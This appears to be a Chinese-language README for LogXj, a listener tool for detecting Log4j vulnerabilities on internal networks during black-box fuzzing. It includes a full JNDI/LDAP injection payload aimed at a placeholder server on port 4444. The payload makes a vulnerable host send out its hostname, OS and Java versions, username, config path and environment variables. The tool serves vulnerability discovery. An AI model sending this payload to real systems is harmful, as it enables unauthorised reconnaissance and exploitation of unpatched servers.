- 用于探测Log4j漏洞, 将它POC的威力最大化, POC验证成功后会立即收到目标机器的系统主机名、时间、版本号、用户名、环境变量以及Log4j路径、java版本号、中间件信息等信息.
- 由于不能第一时间立刻知道某应用系统整个组件调用链、数据传输链、系统调用链中是否存在Log4j漏洞，因此经常需要黑盒测试来fuzzing。可以利用存在漏洞的Log4j组件会向攻击者指定的dns服务端发起域名解析请求的特性判断漏洞的存在，但是内网不一定存在dns服务器，即使存在也不一定配置了dns服务器，即使配置了但是通过dnslog这类平台也无法知道是内网中的哪台机器存在漏洞，即使知道了也不确定是那台机器上的哪个web应用存在漏洞，用的是哪个版本的java环境以及哪个中间件。
- 根据自己以上种种痛点写了这个小工具，提高挖洞效率，顺便开源出来。
- 监听端口, 等待猎物，被动式发现存在Log4j漏洞的机器.
- 最大化了POC的威力: 可以获取目前机器的系统时间、主机名、Log4j路径、系统版本号、java版本号、系统用户名、中间件信息（含物理路径）、环境变量等敏感信息.
- 功能超越了dnslog和ncat.
- 时刻监听同一端口, 可不限制地接收多个目标传输过来的漏洞信息.
- 收到漏洞信息后立即断开, 避免占用目标的程序线程和网络连接.
- 记录历史, 保存漏洞信息.
- 代码开源, 安全可控.
- 不依赖第三方库.
- 跨平台.
- 解决了内网环境没有dns服务器、不通dnslog等问题.
- 解决了内网环境无法下载ncat的问题.
- 解决了ncat命令过于冗余的问题.
- 解决了ncat监听模式下需要频繁ctrl+c才能终止OOB连接的问题.
- 兼容Python2和Python3.
- 解决了fuzzing工程师不清楚fuzzing成功了哪台目标机器的问题.
- 解决了fuzzing工程师不清楚fuzzing成功了目标机器上的哪个web应用的问题.
- 找一台所有内网服务器都通的服务器，搭建
LogXj安全服务端，命令如下：
- 以下是我构造的
LOGXJ POC，需要先手动把里面的LOGXJ_SERVER替换为LogXj安全服务端的IP，然后把它发送给使用了log4j的目标：
${jndi:ldap://LOGXJ_SERVER:4444/\nFound Log4j vuln!\nDate\t:${date:yyyy-MM-dd HH:mm:ss}\nHostname:${hostName}\nConf dir:${log4j:configLocation:-}\nOs ver\t:${java:os}\nJava ver:${java:version}\nUser\t:${env:USER:-}${env:USERNAME:-}\nIsTomcat:${env:CATALINA_BASE:-False}\nPATH\t:${env:PATH:-}\n\nEnd}
- 此时观察
LogXj安全服务端的控制台：
- 若收到回显，则说明目标或数据传输链路中的某些系统存在log4j漏洞。
- 若没有回显，则说明可能暂无风险，也可能是和下面的
额外说明有关。
- 若用本项目的方式无法发现漏洞，但是用dnslog的方式能发现漏洞，则可能是因为
存在log4j漏洞的系统与LogXj安全服务端网络不通，而存在log4j漏洞的系统与DNS服务器正好因dns解析而网络相通。
- 建议把
LogXj安全服务端部署在一台所有内网服务器都通的服务器上。
